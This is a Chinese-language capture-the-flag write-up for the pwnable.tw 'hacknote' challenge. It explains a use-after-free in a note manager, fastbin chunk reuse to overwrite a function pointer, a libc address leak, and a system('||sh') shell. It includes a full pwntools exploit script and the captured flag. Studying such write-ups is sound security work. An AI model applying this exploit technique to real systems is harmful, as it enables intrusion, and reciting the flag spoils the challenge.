pwnable-tw5

又找到了一个简单(才怪)的题目,这里刷一刷:

hacknote [200 pts]

首先打开,和之前的题目类似,都是一个nemu,基本逻辑是:建立笔记,可以将笔记打印,同时也可以将笔记删除。然后发现有一些细节有点问题:

当指定了大小的时候,我们再输入数据的时候,发现我们已经进行了输入(?)仿佛是因为输入流的原因未将上一个内容的/n读入导致。

再多次输入数据之后,我们就发现之后的【输出流会被原先的输入流干扰】,这种现象,显然不是正常的。所以我们优先怀疑一下在建立笔记的时候出现的问题:

从函数中可以看出来,此时存在一个结构体:note,大致是如下

1
2
3
4
struct note{
void *print_cont(struct note);
char* content;(由第二个malloc分配)
}

其中,print_cont会将content的内容输出,相当于是抽象成了一个类。然而仔细看上述代码,会发现有一个奇怪的地方:全局变量:note_num表示当前有多少个笔记,然而这个笔记的上限为【5】,在计算机中其实
就是相当于可以输入【6】个数字,然而实际上,存在一个全局变量notes,里面存放了【5】个note的指针,而且每一个指针的空间都是由add_note中创建的,导致当存满5个数字后,也不会报错。
然后看delete_note函数:

这里有一个显然有问题的地方:这里在进行delete的时候,完全没有将指针指空,所以到之后的操作的时候,此时的地址一直为一个【野指针】。据测试,就算此处变为野指针后,此处依然可以被free(这是为啥?)。
接下来的print与delete类似,只不过是将删除换成了调用对应位置的函数,读取变量对应位置,并且取出当前地址中的内容(正确的话就是函数)进行调用。

所以综上,如果能够结合1,2往某个位置写入shellcode,然后再在3中进行执行的话,就能够完成攻击。那么首先要考虑如何写入我们需要的数据。然后仔细看了很多遍,看来。。果然还是要碰上堆相关的攻击了。(之前比赛的时候因为不会做堆的相关,导致了虽然找到一个printf的格式化输出漏洞却无法利用然后被人打爆了。。。)

后来在漫长的探索过程中发现了几个可能出问题的地方:

  • 当我们首先add note之后,会往print_cont中写入一个函数地址,注意此时是这个状态:

    此时如果我们将此数据delete之后,由于这里没有将指针置为空,导致此时的数据变为:

    由于堆的处理机制,fast bin中只会处理fd指针,而我们又是先将content free,所以此时会将本来的函数指针指向的当前的content的prev_size中
    有点沮丧。。如果能够指到content中的话就能够直接执行shellcode了
    后来发现,巧妙的设计这个位置,就能够实现溢出攻击!我们先假设进行了一次add note,那么此时的空间变为

    然后此时我们将上述的chunk free,首先由于两者大小一样,会被归在同一个fast bin之中,同时由于此时先将content的内容释放,于是内容会变成:

    根据特点,此时的堆空间如图,但是注意到,此时的note[0].content和note[0].print_cont的指针位置并没有发生变化,依然是指向这两个位置。然后在我们第二次add note的时候,就会变成:

    显然此时是无法造成什么本质上的破坏的。但是!会发现此时的note[0].print_cont,就是note[1].print_cont!也就是说,如果我们能够将本来属于print_note的空间分配给content,我们就有机会修改print_note中的函数地址!
    为了构造出上述的形态,我们需要实现:

    此时的content大小与note.print_cont大小(8byte)不一致,于是content会和print_cont分配到不同的fast bins上。然后,如果我们第三次申请了note的话,那么就会形成如下的样子。

    注意到此时的note[2].content指向了note[0].print_cont的位置上,那么此时我们就可以通过修改content内部的内容,从而将print_cont的内容给修改,让其指向我们需要的函数地址,而且我们还可以将content’s address ,从而决定我们要输出的内容修改!这里考虑到题目给出了libc,那么我们肯定是需要泄漏地址的,于是我们此时将puts的函数地址0x080484d0和其.got的地址0x0804a024写过去,从而得到此时的lib的相对位置。为了能够再次实现跳转,此时我们将note[2]都free,那么此时会变成如下的状态

    注意到此时的note[0].print_cont和note[1].print_cont的位置发生了调换,是由于note[2]中的content比print_cont先释放。然后此时我们再此add note,加入note[3]

    由于fast bin是LIFO的原则,所以这里始终是靠下方的chunk被分配给了print_cont,所以这一次,我们通过给出计算出的system的地址(原地址为0x0003a940)和’/bin/sh’字符串的地址(源地址为00158E8B),从而完整注入攻击!
    后来发现这么做不行。。。仔细看反汇编如下
1
2
3
4
5
6
7
8
9
.text:08048923                 mov     eax, [ebp+index]
.text:08048926 mov eax, ds:notes[eax*4]
.text:0804892D mov eax, [eax]
.text:0804892F mov edx, [ebp+index]
.text:08048932 mov edx, ds:notes[edx*4]
.text:08048939 sub esp, 0Ch
.text:0804893C push edx
.text:0804893D call eax
.text:0804893F add esp, 10h

仔细看这一部分会发现,此时的栈中存放的居然是【note本身!】根据函数的调用我们会发现,由于【note是通过将自己作为参数传入,从而将自己+4处的conteent打印输出】,所以当我们构造好了企图用print_cont来执行我们的puts函数的时候,【我们还会将自己传入,然后打印自己】!虽然我们仍然可以利用它的函数泄漏地址,但是当我们想要利用system的时候,我们要如何才能将我们的数据压入栈中呢。。。。
那么估计不是在这里进行攻击了。。还得换地方。。
尝试修改思路,直接跳转到堆上执行函数。方法就和之前一样!只不过这一次我们再次将两者释放,此时note[0].print_cont和note[1].print_cont再次回到原来的位置上,这一次我们申请空间,只不过此时会往堆上跳转。
后来又失败了。。。理由不明。。。。QVQ爆炸
过了几天突然想起来,好像还有一种方法叫做ROP的可以尝试一下,于是赶紧收集了一下libc.so.6中的数据。
后来注意到不行。。毕竟人家是要覆盖返回值的,也就是至少是要能够接触到栈,我这边只有堆可以利用啊啊啊。。。

更新 5.26

不可思议!!!!!!原来思路一直是正确的!唯一的问题源自于system的参数问题!!!,之前一直纠结于【如何利用system,因为system参数的位置上是一个地址】。最近见了不少大佬,发现system之下有一个奇技淫巧!!!

1
system("hsasoijiojo||/bin/sh")

这样执行居然是可以行得通的!!!由于我们的字符串就存放在地址的后面,于是我们构造的字符串只要带有";sh",那么就能够执行后半部分的语句!!!(可恶啊困了我三个月的问题)
附上可执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

# -*- coding:utf-8 -*-
from pwn import *

DEBUG = 0
if DEBUG:
r = process('./hacknote')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(r, "b *0x080488C3 ")
else:
r = remote('139.162.123.119', 10102)
#raw_input()
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('./libc_32.so.6')

puts_addr = 0x080484d0
puts_got = 0x0804a024
puts_real = 0x0005F140

print_note_content = 0x0804862b
read_got = 0x0804a00c

system_offset = 0x0003a940
bin_offset = 0x00158e8b

# payload = p32(print_note_content) + p32(read_got)


def addNote(size):
r.recvuntil('choice :')
r.sendline('1')
r.recvuntil('size :')
r.sendline(str(size))
r.recvuntil('Content :')
r.sendline('a'*size)


def leakPuts(puts_addr, puts_got):
r.recvuntil('choice :')
r.sendline('1')
r.recvuntil('size :')
r.sendline(str(8))
r.recvuntil('Content :')
r.sendline(p32(puts_addr)+p32(puts_got))

def deleteNote(index):
r.recvuntil('choice :')
r.sendline('2')
r.recvuntil('Index :')
r.sendline(str(index))


def printNote(index):
r.recvuntil('choice :')
r.sendline('3')
r.recvuntil('Index :')
r.sendline(str(index))
msg = r.recv(4)
return msg

if __name__ == "__main__":
# first ,create two chunk
addNote(24)
addNote(24)

# then ,delete this two
deleteNote(0)
deleteNote(1)

# next, create a chunk that size like a note
leakPuts(print_note_content ,puts_got)

# leak the puts address
addr = printNote(0)
puts_got_plt = u32(addr)
addr_libc = puts_got_plt - puts_real
system_addr = addr_libc + system_offset
bin_addr = addr_libc + bin_offset

deleteNote(2)
# begin attack
r.recvuntil('choice :')
r.sendline('1')
r.recvuntil('size :')
r.sendline("8")
r.recvuntil('Content :')
r.sendline(flat([system_addr , "||sh"]))

r.recvuntil('choice :')
r.sendline('3')
r.recvuntil('Index :')
r.sendline("0")

r.interactive()

最终得到

1
FLAG{Us3_aft3r_fl3333_in_h4ck_not3}

完结撒花!!!

调试的技巧

这里由于给了libc,本地测试的话可能libc是不一样的,可以通过设置环境变量将libc设置为题目所给的

1
export LD_PRELOAD="/home/xxxx/libc_32.so.6"